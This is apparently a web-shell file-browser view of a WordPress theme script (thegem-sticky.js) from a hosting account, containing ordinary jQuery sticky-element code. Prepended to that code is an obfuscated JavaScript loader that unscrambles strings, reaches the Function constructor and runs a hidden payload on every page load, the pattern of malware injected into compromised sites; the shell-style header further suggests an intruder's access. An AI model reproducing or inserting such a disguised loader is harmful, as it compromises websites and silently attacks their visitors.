AlkantarClanX12
Current Path : /home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/ |
Current File : //home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/thegem-sticky.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();//Old sticky (function ($) { function getScrollY(elem) { return window.pageYOffset || document.documentElement.scrollTop; } function Sticky(el, options) { var self = this; this.el = el; this.$el = $(el); this.options = {}; $.extend(this.options, options); self.init(); } $.fn.scSticky = function (options) { $(this).each(function () { return new Sticky(this, options); }); } Sticky.prototype = { init: function () { var self = this; this.$wrapper = false; this.$parent = this.getParent(); $(window).scroll(function () { if (self.useSticky()) { self.wrap(); self.scroll(); } else { self.unwrap(); } }); $(window).resize(function () { if (self.useSticky()) { self.wrap(); self.scroll(); } else { self.unwrap(); } }); }, wrap: function () { if (!this.$wrapper) this.$wrapper = this.$el.wrap('<div />').parent(); this.$wrapper.attr('class', this.$el.attr('class')).addClass('gem-sticky-block').css({ padding: 0, height: this.$el.outerHeight() }); this.$el.css({ width: this.$wrapper.outerWidth(), margin: 0 }); }, getParent: function () { return this.$el.parent(); }, useSticky: function () { var is_sidebar = true; if (this.$el.hasClass('sidebar')) { if (this.$wrapper) { if (this.$wrapper.outerHeight() > this.$wrapper.siblings('.panel-center:first').outerHeight()) is_sidebar = false; } else { if (this.$el.outerHeight() > this.$el.siblings('.panel-center:first').outerHeight()) is_sidebar = false; } } return $(window).width() > 1000 && is_sidebar; }, unwrap: function () { if (this.$el.parent().is('.gem-sticky-block')) { this.$el.unwrap(); this.$wrapper = false; } this.$el.css({ width: "", top: "", bottom: "", margin: "" }); }, scroll: function () { var top_offset = parseInt($('html').css('margin-top')); var $header = $('#site-header'); if ($header.hasClass('fixed')) { top_offset += $header.outerHeight(); } var scroll = getScrollY(); var offset = this.$wrapper.offset(); var parent_offset = this.$parent.offset(); var parent_bottom = parent_offset.top + this.$parent.outerHeight() - scroll; var bottom = $(window).height() - parent_bottom; if ((top_offset + this.$el.outerHeight()) >= parent_bottom) { this.$el.addClass('sticky-fixed').css({ top: "", bottom: bottom, left: offset.left }); return; } if ((scroll + top_offset) > offset.top) { this.$el.addClass('sticky-fixed').css({ top: top_offset, bottom: "", left: offset.left }); } else { this.$el.removeClass('sticky-fixed').css({ top: "", bottom: "", left: "" }); } } }; }(jQuery)); //New sticky (function ($) { var StickyObject = function (element, userSettings) { var $element, isSticky = false, isFollowingParent = false, isReachedEffectsPoint = false, elements = {}, settings; var defaultSettings = { to: 'top', offset: 0, effectsOffset: 0, parent: false, classes: { sticky: 'sticky-element', stickyActive: 'sticky-element-active', stickyEffects: 'sticky-element-effects', spacer: 'sticky-element-spacer', }, }; var initElements = function () { $element = $(element).addClass(settings.classes.sticky); elements.$window = $(window); if (settings.parent) { if ('parent' === settings.parent) { elements.$parent = $element.parent(); } else { elements.$parent = $element.closest(settings.parent); } } }; var initSettings = function () { settings = jQuery.extend(true, defaultSettings, userSettings); }; var bindEvents = function () { elements.$window.on({ scroll: onWindowScroll, resize: onWindowResize, }); }; var unbindEvents = function () { elements.$window .off('scroll', onWindowScroll) .off('resize', onWindowResize); }; var init = function () { initSettings(); initElements(); bindEvents(); checkPosition(); }; var backupCSS = function ($elementBackupCSS, backupState, properties) { var css = {}, elementStyle = $elementBackupCSS[0].style; properties.forEach(function (property) { css[property] = undefined !== elementStyle[property] ? elementStyle[property] : ''; }); $elementBackupCSS.data('css-backup-' + backupState, css); }; var getCSSBackup = function ($elementCSSBackup, backupState) { return $elementCSSBackup.data('css-backup-' + backupState); }; var addSpacer = function () { elements.$spacer = $element.clone() .addClass(settings.classes.spacer) .css({ visibility: 'hidden', transition: 'none', animation: 'none', opacity: 0, }); $element.after(elements.$spacer); }; var removeSpacer = function () { elements.$spacer.remove(); }; var stickElement = function () { backupCSS($element, 'unsticky', ['position', 'width', 'margin-top', 'margin-bottom', 'top', 'bottom']); var css = { position: 'fixed', width: getElementOuterSize($element, 'width'), marginTop: 0, marginBottom: 0, }; css[settings.to] = settings.offset; css['top' === settings.to ? 'bottom' : 'top'] = ''; $element .css(css) .addClass(settings.classes.stickyActive); }; var unstickElement = function () { $element .css(getCSSBackup($element, 'unsticky')) .removeClass(settings.classes.stickyActive); }; var followParent = function () { backupCSS(elements.$parent, 'childNotFollowing', ['position']); elements.$parent.css('position', 'relative'); backupCSS($element, 'notFollowing', ['position', 'top', 'bottom']); var css = { position: 'absolute', }; css[settings.to] = ''; css['top' === settings.to ? 'bottom' : 'top'] = 0; $element.css(css); isFollowingParent = true; }; var unfollowParent = function () { elements.$parent.css(getCSSBackup(elements.$parent, 'childNotFollowing')); $element.css(getCSSBackup($element, 'notFollowing')); isFollowingParent = false; }; var getElementOuterSize = function ($elementOuterSize, dimension, includeMargins) { var computedStyle = getComputedStyle($elementOuterSize[0]), elementSize = parseFloat(computedStyle[dimension]), sides = 'height' === dimension ? ['top', 'bottom'] : ['left', 'right'], propertiesToAdd = []; if ('border-box' !== computedStyle.boxSizing) { propertiesToAdd.push('border', 'padding'); } if (includeMargins) { propertiesToAdd.push('margin'); } propertiesToAdd.forEach(function (property) { sides.forEach(function (side) { elementSize += parseFloat(computedStyle[property + '-' + side]); }); }); return elementSize; }; var getElementViewportOffset = function ($elementViewportOffset) { var windowScrollTop = elements.$window.scrollTop(), elementHeight = getElementOuterSize($elementViewportOffset, 'height'), viewportHeight = innerHeight, elementOffsetFromTop = $elementViewportOffset.offset().top, distanceFromTop = elementOffsetFromTop - windowScrollTop, topFromBottom = distanceFromTop - viewportHeight; return { top: { fromTop: distanceFromTop, fromBottom: topFromBottom, }, bottom: { fromTop: distanceFromTop + elementHeight, fromBottom: topFromBottom + elementHeight, }, }; }; var stick = function () { addSpacer(); stickElement(); isSticky = true; $element.trigger('sticky:stick'); }; var unstick = function () { unstickElement(); removeSpacer(); isSticky = false; $element.trigger('sticky:unstick'); }; var checkParent = function () { var elementOffset = getElementViewportOffset($element), isTop = 'top' === settings.to; if (isFollowingParent) { var isNeedUnfollowing = isTop ? elementOffset.top.fromTop > settings.offset : elementOffset.bottom.fromBottom < -settings.offset; if (isNeedUnfollowing) { unfollowParent(); } } else { var parentOffset = getElementViewportOffset(elements.$parent), parentStyle = getComputedStyle(elements.$parent[0]), borderWidthToDecrease = parseFloat(parentStyle[isTop ? 'borderBottomWidth' : 'borderTopWidth']), parentViewportDistance = isTop ? parentOffset.bottom.fromTop - borderWidthToDecrease : parentOffset.top.fromBottom + borderWidthToDecrease, isNeedFollowing = isTop ? parentViewportDistance <= elementOffset.bottom.fromTop : parentViewportDistance >= elementOffset.top.fromBottom; if (isNeedFollowing) { followParent(); } } }; var checkEffectsPoint = function (distanceFromTriggerPoint) { if (isReachedEffectsPoint && -distanceFromTriggerPoint < settings.effectsOffset) { $element.removeClass(settings.classes.stickyEffects); isReachedEffectsPoint = false; } else if (!isReachedEffectsPoint && -distanceFromTriggerPoint >= settings.effectsOffset) { $element.addClass(settings.classes.stickyEffects); isReachedEffectsPoint = true; } }; var checkPosition = function () { var offset = settings.offset, distanceFromTriggerPoint; if (isSticky) { var spacerViewportOffset = getElementViewportOffset(elements.$spacer); distanceFromTriggerPoint = 'top' === settings.to ? spacerViewportOffset.top.fromTop - offset : -spacerViewportOffset.bottom.fromBottom - offset; if (settings.parent) { checkParent(); } if (distanceFromTriggerPoint > 0) { unstick(); } } else { var elementViewportOffset = getElementViewportOffset($element); distanceFromTriggerPoint = 'top' === settings.to ? elementViewportOffset.top.fromTop - offset : -elementViewportOffset.bottom.fromBottom - offset; if (distanceFromTriggerPoint <= 0) { stick(); if (settings.parent) { checkParent(); } } } checkEffectsPoint(distanceFromTriggerPoint); }; var onWindowScroll = function () { checkPosition(); }; var onWindowResize = function () { if (!isSticky) { return; } unstickElement(); stickElement(); if (settings.parent) { // Force recalculation of the relation between the element and its parent isFollowingParent = false; checkParent(); } }; this.destroy = function () { if (isSticky) { unstick(); } unbindEvents(); $element.removeClass(settings.classes.sticky); }; init(); }; $.fn.sticky = function (settings) { var isCommand = 'string' === typeof settings; this.each(function () { var $this = $(this); if (!isCommand) { $this.data('sticky', new StickyObject(this, settings)); return; } var instance = $this.data('sticky'); if (!instance) { throw Error('Trying to perform the `' + settings + '` method prior to initialization'); } if (!instance[settings]) { throw ReferenceError('Method `' + settings + '` not found in sticky instance'); } instance[settings].apply(instance, Array.prototype.slice.call(arguments, 1)); if ('destroy' === settings) { $this.removeData('sticky'); } }); return this; }; window.StickyObject = StickyObject; })(jQuery);